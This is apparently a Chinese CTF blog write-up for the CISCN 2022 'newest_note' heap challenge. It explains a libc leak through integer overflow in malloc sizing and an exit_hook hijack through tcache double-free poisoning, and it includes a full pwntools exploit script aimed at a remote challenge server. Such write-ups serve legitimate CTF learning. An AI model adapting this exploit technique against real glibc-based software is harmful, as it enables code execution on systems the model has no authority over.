0%

exit_hook劫持

关于申请大于top chunk的堆块使其分配到libc的地址以及exit_hook的劫持

例题是 [CISCN 2022 初赛]newest_note

通过申请0x20004200大小的page,乘以8后为0x100021000,因为malloc的参数是int类型,故1被截断,0x21000比top chunk大,会在libc上分配一块新地址,从而利用整形溢出可泄露libc地址

通过search命令可以找到libc中保存top chunk地址的地址

再看我们堆块的地址,即可算出偏移 (0x7fe7a2f45ce0 - 0x7fe7a2d08010) / 8 = 293786

用0x7fe7a2f45ce0 泄露出的地址是0x7fe7a2f45cc0,因为程序show函数内是采用的是双指针类型

0x7fe7a2f45ce0 -> 0x7fe7a2f45cd0 -> 0x7fe7a2f45cc0

uaf部分就不讲了,主要记录一下exit_hook是如何劫持的

这里主要是通过调试得出来的偏移

先在exit下个断点,然后单步调试到这里

在libc文件中呈现为

把偏移为0x21a6c8的地址赋值给rbx,偏移0x21a6D0的地址赋值给r12,这里rbx < r12,所以会执行call qword ptr [rbx],所以只需将 0x21a6c8 的值赋为 one_gadget 就可以了

这里需要注意的是,exit_hook的偏移不能直接用 0x21a6c8,要用 0x21a6c0,不然在申请堆块时会报错

malloc(): unaligned tcache chunk detected(检测到未对齐的tache块)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/newest_note'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b exit
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28866)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

def get_leak(bytes=6):
if bytes == 4:
return u32(r(4).ljust(4, b'\x00'))
else:
return u64(r(bytes).ljust(8, b'\x00'))


r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla(': ',str(index))

def add(idx,content=b'aaaa'):
choice(1)
sla('Index: ',str(idx))
sa('Content: ',content)

def free(idx):
choice(2)
sla('Index: ',str(idx))

def show(idx):
choice(3)
sla('Index: ',str(idx))

def exp():

sla('will be? :',str(0x20004200))
show(293786)
ru(b'Content: ')
libc_base = get_leak() - 0x218cc0
lg('libc_base',libc_base)

for i in range(10):
add(i)

for i in range(7):
free(i)

show(0)
ru(b'Content: ')
key = get_leak(5)
heap_base = key << 12
lg('heap_base',heap_base)

free(7)
free(8)
free(7)

exit_hook = libc_base + 0x21a6c0
for i in range(7):
add(i)
add(10,p64(exit_hook^key))
add(11)
add(12)

og = [0xeeccc, 0xeeccf, 0xeecd2]
og = og[0] + libc_base
add(13,p64(og)*2)

pause()
choice(4)

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道